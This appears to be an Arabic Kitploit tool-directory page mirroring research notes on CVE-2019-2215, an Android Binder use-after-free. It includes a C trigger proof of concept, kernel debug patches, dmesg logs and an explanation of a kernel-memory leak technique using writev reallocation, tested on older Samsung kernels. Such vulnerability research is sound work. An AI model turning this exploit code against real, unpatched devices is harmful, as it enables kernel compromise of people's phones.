Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-2215 — إثبات مفهوم وتحليل لـ CVE-2019-2215، استخدام بعد التحرير في Android Binder، مع أدوات نواة وضبط استغلال لأجهزة Samsung المتأثرة. | Kitploit
أدوات/GitHubGitHub/atorninja/cve-2019-2215
أمان أندرويدتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubatorninja/cve-2019-2215

CVE-2019-2215

إثبات مفهوم وتحليل لـ CVE-2019-2215، استخدام بعد التحرير في Android Binder، مع أدوات نواة وضبط استغلال لأجهزة Samsung المتأثرة.

عرض المستودع
3132منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-2215

المصدر:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

يبدو أن Samsung S7 وS7 Edge مع Kernel 3.18.x غير معرضة للخطر (قد تكون معرضة مع المزيد من العمل وتعديلات PoC). لم أستطع رؤية المزيد، لأنه ليس لدي أجهزة ذات صلاحيات جذر.

Samsung S3Neo+ مع LineageOS Kernel 3.4.0 ربما تكون معرضة للخطر (لا يزال قيد التقدم)

root@kitploit:~

Kernel 3.4.0

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/

No KASLR

No need to leak Kernel Struct Addresses.

8-byte aligned (because there is one less field in the struct)

binder_thread size:0xfc (252) 

wait queue offset:0x2c (44)


Had to add at least 2 entries for it to trigger, with 1, it didn't trigger

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533

PoC:


#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul

int main()
{
    int fd,fd1,fd2, epfd,epfd1;
    struct epoll_event event = { .events = EPOLLOUT   };

    fd = open("/dev/binder", O_RDONLY);
    fd1 = open("/dev/random", O_RDONLY);
    epfd = epoll_create(1000);
    epfd1 = epoll_create(1000);
  

    if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
    if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");




    //ioctl(fd, BINDER_VERSION, NULL);

    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    printf("Finished here.");
}


تم تعديل binder.c و eventpoll.c في النواة لرؤية ما يحدث

binder.c

static int binder_free_thread(struct binder_proc *proc,
                              struct binder_thread *thread)
{
        struct binder_transaction *t;
        struct binder_transaction *send_reply = NULL;
        int active_transactions = 0;
        static const size_t memberOffset = offsetof(binder_thread, wait);
        wait_queue_head_t *wqhptr = &thread->wait;
        wait_queue_head_t *pwqhptr = &proc->wait;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
        printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
        printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
        list_for_each_safe(p1,n1,  &pwqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }
        list_for_each_safe(p1,n1,  &wqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }

eventpoll.c

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);
        printk(KERN_INFO "whead before");

        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &pwq->whead->task_list){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }


                remove_wait_queue(whead, &pwq->wait);
                printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
                printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);

أرى أن القائمة تُطبع.....ولكن أثناء تشغيل Android، وليس PoC الخاص بي:

أثناء بدء تشغيل Android

[   84.747753] binder_ioctl: 1878:2371 40046208 0
[   84.747765] iovec str size:8
[   84.747771] thread->task_list:e4fb2e30
[   84.747777] proc->task_list:e57d866c
[   84.747784] p list= e57d866c e7fffe7c
[   84.747790] p list= e656de7c e57d866c
[   84.747797] binder_free_thread size:252 worker_off:44
[   84.747804] freed thread:e4fb2e00

أرى proc->task_list ...

PoC:

[  642.254192] wq queue:e7ce8798
[  642.254201] epoll struct:e7ce8780
[  642.254214] wq queue:e7ce8f98
[  642.254220] epoll struct:e7ce8f80
[  642.254230] wq queue:e7ce8718
[  642.254236] epoll struct:e7ce8700
[  642.254266] binder_ioctl: 7392:7392 40046208 0
[  642.254274] iovec str size:8
[  642.254280] thread->task_list:e5389b30
[  642.254286] proc->task_list:c309d86c
[  642.254292] binder_free_thread size:252 worker_off:44
[  642.254299] freed thread:e5389b00
[  642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[  642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[  642.254799] ep_unregister_pollwait list not empty
[  642.254805] whead before
[  642.254811] my2= c0f50cc4 c0f50cc4
[  642.254817] remove wait queue:e734b994
[  642.254823] remove wait queue task list:e734b9a0
[  642.254830] ep_unregister_pollwait list not empty
[  642.254835] whead before
[  642.254841] my2= c0f50cd0 c0f50cd0
[  642.254847] remove wait queue:e734bb24
[  642.254852] remove wait queue task list:e734bb30
[  642.254863] ep_free
[  642.254873] ep_free
[  642.254881] ep_free

لكن الخلل لم يتم تشغيله في PoC الخاص بي. لا أستطيع رؤية إدخالات القائمة المزدوجة تحت thread و proc :/

هنا يجب أن يظهر الخلل use-after-free.

الكود:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

عند استدعاء هذا، يتم تحرير بنية binder_thread في النواة.

مباشرة بعد ذلك، تستدعي العملية الأصل:

الكود:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

في النواة، يتم تخصيص ذاكرة لنسخ iovec_array من مساحة المستخدم. يعتمد هذا الـ PoC على أن يكون المؤشر الناتج عن هذا التخصيص هو نفس عنوان الذاكرة المحررة مؤخرًا لـ binder_thread.

بعد ذلك، عندما تنتهي العملية الفرعية، ستستخدم عملية تنظيف EPOLL قائمة الانتظار في بنية binder_thread التي تم استبدالها بالقيم الموجودة في iovec_array. عندما تقوم تنظيف EPOLL بفك ربط قائمة الانتظار، سيتم استبدال `0xDEADBEEF` بمؤشر من مساحة النواة. يجب أن يحدث هذا قبل أن تبدأ استدعاء writev في العملية الأصل في نسخ المخزن الثاني، مما يعطينا تسرب ذاكرة من مساحة النواة.

إذا كانت writev تُرجع `0x1000` فهذا يعني أن التوقيت غير صحيح، أو أن إزاحة قائمة الانتظار غير صحيحة، أو أن تخصيص kmalloc في دالة writev ليس هو نفس الذاكرة المحررة لـ binder_thread، أو أن نواتك غير معرضة للخطر.
تنزيل الأداة